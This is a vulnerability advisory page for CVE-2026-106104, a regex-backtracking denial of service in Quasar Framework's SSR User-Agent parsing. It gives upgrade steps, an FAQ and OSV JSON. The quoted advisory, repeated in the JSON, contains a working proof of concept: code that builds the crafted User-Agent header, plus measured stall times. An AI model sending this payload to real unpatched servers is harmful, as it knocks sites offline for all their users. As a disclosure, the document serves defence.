CVE-2026-106104: Quasar Framework Super-linear Regex Backtracking On User-Agent Vulnerability

HIGH
Advisory Identifier: GHSA-68jq-fhch-4xq4
CWE-1333
Published
Advisory Summary

CVE-2026-106104 is a HIGH super-linear regex backtracking on user-agent vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Quasar Framework libraries in the npm ecosystem. The issue involves super-linear regex backtracking on user-agent lets one request stall a quasar ssr server. Remediation is available by upgrading affected packages to version 2.23.3.

CVE-2026-106104 at a Glance

CVE Identifier CVE-2026-106104
GHSA Identifier GHSA-68jq-fhch-4xq4
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Quasar Framework
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-106104

To remediate this vulnerability, upgrade all affected Quasar Framework dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

quasar fixed: 2.23.3
npm install quasar@2.23.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls quasar

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-106104, inspect your project dependencies using npm:

npm ls quasar

Analyze the terminal output to locate any version of Quasar Framework in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.23.3), your application is affected.

Note: The npm ls quasar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Quasar Framework, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary One unauthenticated request with a crafted `User-Agent` stalls a Quasar SSR server for seconds. Quasar auto-installs its `Platform` plugin on every server-side render, and `Platform.parseSSR()` feeds the raw, unbounded `User-Agent` request header into a chain of backtracking regular expressions in `getMatch()`. One of those patterns contains a greedy capture followed by two unbounded `.*` scans, so a crafted header costs time proportional to the cube of its length. An 8 KB `User-Agent` blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline. ### Details `Platform` is in the `autoInstalledPlugins` array in `ui/src/install-quasar.js`, so it is installed unconditionally by `app.use(Quasar, ...)`. The generated SSR entry (`app-vite/templates/entry/app.js`, called from `app-vite/templates/entry/server-entry.js`) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (`ui/src/plugins/platform/Platform.js`): ```js Platform.parseSSR = ssrContext => { const ua = ssrContext.req.headers['user-agent'] || ssrContext.req.headers['User-Agent'] || '' return { ...client, userAgent: ua, is: getPlatform(ua) } } ``` `getPlatform()` lowercases the string and passes it to `getMatch()` (`ui/src/plugins/platform/Platform.js:23-45`), which evaluates an ordered chain of `exec()` calls. The sixth alternative, at `ui/src/plugins/platform/Platform.js:32-34`, is the problem: ```js /(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(userAgent) ``` `([\w.]+)` is greedy and unbounded, and it is followed by two unbounded `.*` scans. When the input contains `webkit/`, many `version/` tokens, and no `safari/`, the pattern can only fail after the engine has tried every combination of "where `([\w.]+)` stops" against "which `version` occurrence the first `.*` lands on" against "how far the second `.*` searches for `safari`". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape. Measured on the functions loaded verbatim out of `ui/src/plugins/platform/Platform.js`, cost grows by a factor of eight for every doubling of the header: ``` UA 3998 B -> 554 ms UA 7998 B -> 4368 ms fits nginx default large_client_header_buffers 8k UA 15998 B -> 34995 ms fits Node.js default --max-http-header-size 16k ``` A same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length. Client-side rendering is not affected: there `getPlatform()` only ever sees `navigator.userAgent`, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network. ### PoC The vulnerable pattern ships in the published package. From `node_modules/quasar/dist/quasar.server.prod.js` of `quasar@2.23.1`: ``` function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||... ||/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(e)||... I.parseSSR=e=>{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``; return{...F,userAgent:t,is:P(t)}}; ``` Build the header: ```js const k = 3200 // filler that maximises the greedy capture const m = 479 // "version/" tokens for the first .* to land on const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m) // 7998 bytes ``` Server used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package: ```js import http from 'node:http' import { Platform } from 'quasar' // resolves to dist/quasar.server.prod.js http.createServer((req, res) => { const platform = Platform.parseSSR({ req, res }) // what app.use(Quasar, ...) does res.end(`<!doctype html><html><body>browser=${platform.is.name}</body></html>`) }).listen(3100, '127.0.0.1') ``` Results of driving that server with the 7998-byte header: ``` [1] BASELINE - normal browser UA benign UA, GET / status=200 13 ms benign UA, GET / (2nd) status=200 1 ms [2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length same-size benign UA status=200 2 ms [3] POSITIVE - crafted User-Agent malicious UA, GET / status=200 4355 ms [4] POSITIVE - crafted UA against a NON-EXISTENT route malicious UA, GET /404path status=200 4319 ms [5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later attacker (malicious UA) status=200 4329 ms VICTIM (normal browser, benign UA) status=200 4208 ms [6] SUSTAINED - 5 attacker requests in flight, victim loads the site VICTIM during 5-request flood status=200 21646 ms ``` Step 5 is the part that matters. The victim sends an ordinary request with an ordinary `User-Agent` and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability. Negative control on the library itself. One line changed in the installed `node_modules/quasar/dist/quasar.server.prod.js`: ``` - I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}}; + I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}}; ``` Re-running the identical attack against the patched build: ``` [3] malicious UA, GET / status=200 2 ms was 4355 ms [4] malicious UA, GET /404path status=200 2 ms was 4319 ms [5] VICTIM (normal browser) status=200 3 ms was 4208 ms [6] VICTIM during 5-request flood status=200 2 ms was 21646 ms ``` Detection of real browsers is unchanged by the cap (`chrome 126.0.0.0`, platform `linux`), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else. The same numbers come out of a server that never touches `parseSSR` directly and instead boots Quasar the way the generated entry does, letting `install-quasar.js` run the auto-installed plugin list on its own: ```js const ssrContext = { req, res } const app = createSSRApp(RootComponent) app.use(Quasar, {}, ssrContext) const html = await renderToString(app, ssrContext) ``` ``` [3] malicious UA, GET / status=200 4354 ms [5] VICTIM (normal browser, benign UA) status=200 4269 ms [6] VICTIM during 5-request flood status=200 21872 ms [2] same-size benign UA (7998 B) status=200 2 ms ``` ### Impact Uncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both `quasar dev -m ssr` and `quasar build -m ssr`. There is no configuration that turns it off, because `Platform` is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload. Node.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB. Apps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local `navigator.userAgent`. Static site generation is not affected either, because the `ssrContext` used there is supplied by the developer rather than by a request.

CVE-2026-106104 Affected Quasar Framework Versions

1 component(s)
Fixed Versions:
2.23.3
Product / Package Ecosystem Affected Versions Fixed Version
quasar
npm
< 2.23.3
2.23.3

References

Frequently Asked Questions

What is CVE-2026-106104?
CVE-2026-106104 is a security vulnerability in Quasar Framework involving Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server under CWE-1333: Inefficient Regular Expression Complexity.
Which Quasar Framework versions are affected?
Affected versions include releases prior to 2.23.3 across affected packages: quasar.
What version fixes CVE-2026-106104?
Upgrading to 2.23.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is quasar affected?
Yes, quasar is affected in releases prior to 2.23.3. Upgrade your dependency to 2.23.3 or later.
What CWE is associated with CVE-2026-106104?
CVE-2026-106104 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check npm dependencies for CVE-2026-106104?
Run the dependency tree command: 'npm ls quasar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-68jq-fhch-4xq4",
  "modified" : "2026-10-07T16:14:31Z",
  "published" : "2026-10-07T16:14:31Z",
  "aliases" : [ "CVE-2026-106104" ],
  "summary" : "Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server",
  "details" : "### Summary\n\nOne unauthenticated request with a crafted `User-Agent` stalls a Quasar SSR server for seconds.\n\nQuasar auto-installs its `Platform` plugin on every server-side render, and `Platform.parseSSR()` feeds the raw, unbounded `User-Agent` request header into a chain of backtracking regular expressions in `getMatch()`. One of those patterns contains a greedy capture followed by two unbounded `.*` scans, so a crafted header costs time proportional to the cube of its length. An 8 KB `User-Agent` blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.\n\n### Details\n\n`Platform` is in the `autoInstalledPlugins` array in `ui/src/install-quasar.js`, so it is installed unconditionally by `app.use(Quasar, ...)`. The generated SSR entry (`app-vite/templates/entry/app.js`, called from `app-vite/templates/entry/server-entry.js`) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (`ui/src/plugins/platform/Platform.js`):\n\n```js\nPlatform.parseSSR = ssrContext => {\n  const ua =\n    ssrContext.req.headers['user-agent'] ||\n    ssrContext.req.headers['User-Agent'] ||\n    ''\n\n  return { ...client, userAgent: ua, is: getPlatform(ua) }\n}\n```\n\n`getPlatform()` lowercases the string and passes it to `getMatch()` (`ui/src/plugins/platform/Platform.js:23-45`), which evaluates an ordered chain of `exec()` calls. The sixth alternative, at `ui/src/plugins/platform/Platform.js:32-34`, is the problem:\n\n```js\n/(webkit)[\\/]([\\w.]+).*(version)[\\/]([\\w.]+).*(safari)[\\/]([\\w.]+)/.exec(userAgent)\n```\n\n`([\\w.]+)` is greedy and unbounded, and it is followed by two unbounded `.*` scans. When the input contains `webkit/`, many `version/` tokens, and no `safari/`, the pattern can only fail after the engine has tried every combination of \"where `([\\w.]+)` stops\" against \"which `version` occurrence the first `.*` lands on\" against \"how far the second `.*` searches for `safari`\". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.\n\nMeasured on the functions loaded verbatim out of `ui/src/plugins/platform/Platform.js`, cost grows by a factor of eight for every doubling of the header:\n\n```\nUA   3998 B  ->      554 ms\nUA   7998 B  ->     4368 ms      fits nginx default large_client_header_buffers 8k\nUA  15998 B  ->    34995 ms      fits Node.js default --max-http-header-size 16k\n```\n\nA same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.\n\nClient-side rendering is not affected: there `getPlatform()` only ever sees `navigator.userAgent`, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.\n\n### PoC\n\nThe vulnerable pattern ships in the published package. From `node_modules/quasar/dist/quasar.server.prod.js` of `quasar@2.23.1`:\n\n```\nfunction M(e,t){let n=/(edg|edge|edga|edgios)\\/([\\w.]+)/.exec(e)||...\n  ||/(webkit)[\\/]([\\w.]+).*(version)[\\/]([\\w.]+).*(safari)[\\/]([\\w.]+)/.exec(e)||...\nI.parseSSR=e=>{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``;\n               return{...F,userAgent:t,is:P(t)}};\n```\n\nBuild the header:\n\n```js\nconst k = 3200                       // filler that maximises the greedy capture\nconst m = 479                        // \"version/\" tokens for the first .* to land on\nconst ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m)   // 7998 bytes\n```\n\nServer used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:\n\n```js\nimport http from 'node:http'\nimport { Platform } from 'quasar'          // resolves to dist/quasar.server.prod.js\n\nhttp.createServer((req, res) => {\n  const platform = Platform.parseSSR({ req, res })   // what app.use(Quasar, ...) does\n  res.end(`<!doctype html><html><body>browser=${platform.is.name}</body></html>`)\n}).listen(3100, '127.0.0.1')\n```\n\nResults of driving that server with the 7998-byte header:\n\n```\n[1] BASELINE - normal browser UA\n  benign UA, GET /                       status=200        13 ms\n  benign UA, GET / (2nd)                 status=200         1 ms\n\n[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length\n  same-size benign UA                    status=200         2 ms\n\n[3] POSITIVE - crafted User-Agent\n  malicious UA, GET /                    status=200      4355 ms\n\n[4] POSITIVE - crafted UA against a NON-EXISTENT route\n  malicious UA, GET /404path             status=200      4319 ms\n\n[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later\n  attacker (malicious UA)                status=200      4329 ms\n  VICTIM (normal browser, benign UA)     status=200      4208 ms\n\n[6] SUSTAINED - 5 attacker requests in flight, victim loads the site\n  VICTIM during 5-request flood          status=200     21646 ms\n```\n\nStep 5 is the part that matters. The victim sends an ordinary request with an ordinary `User-Agent` and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.\n\nNegative control on the library itself. One line changed in the installed `node_modules/quasar/dist/quasar.server.prod.js`:\n\n```\n-  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}};\n+  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};\n```\n\nRe-running the identical attack against the patched build:\n\n```\n[3] malicious UA, GET /                  status=200         2 ms   was 4355 ms\n[4] malicious UA, GET /404path           status=200         2 ms   was 4319 ms\n[5] VICTIM (normal browser)              status=200         3 ms   was 4208 ms\n[6] VICTIM during 5-request flood        status=200         2 ms   was 21646 ms\n```\n\nDetection of real browsers is unchanged by the cap (`chrome 126.0.0.0`, platform `linux`), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.\n\nThe same numbers come out of a server that never touches `parseSSR` directly and instead boots Quasar the way the generated entry does, letting `install-quasar.js` run the auto-installed plugin list on its own:\n\n```js\nconst ssrContext = { req, res }\nconst app = createSSRApp(RootComponent)\napp.use(Quasar, {}, ssrContext)\nconst html = await renderToString(app, ssrContext)\n```\n\n```\n[3] malicious UA, GET /                  status=200      4354 ms\n[5] VICTIM (normal browser, benign UA)   status=200      4269 ms\n[6] VICTIM during 5-request flood        status=200     21872 ms\n[2] same-size benign UA (7998 B)         status=200         2 ms\n```\n\n### Impact\n\nUncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both `quasar dev -m ssr` and `quasar build -m ssr`. There is no configuration that turns it off, because `Platform` is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.\n\nNode.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.\n\nApps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local `navigator.userAgent`. Static site generation is not affected either, because the `ssrContext` used there is supplied by the developer rather than by a request.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "quasar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.23.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.23.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-106104"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/quasarframework/quasar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T16:14:31Z",
    "nvd_published_at" : "2026-10-06T18:16:51Z"
  }
}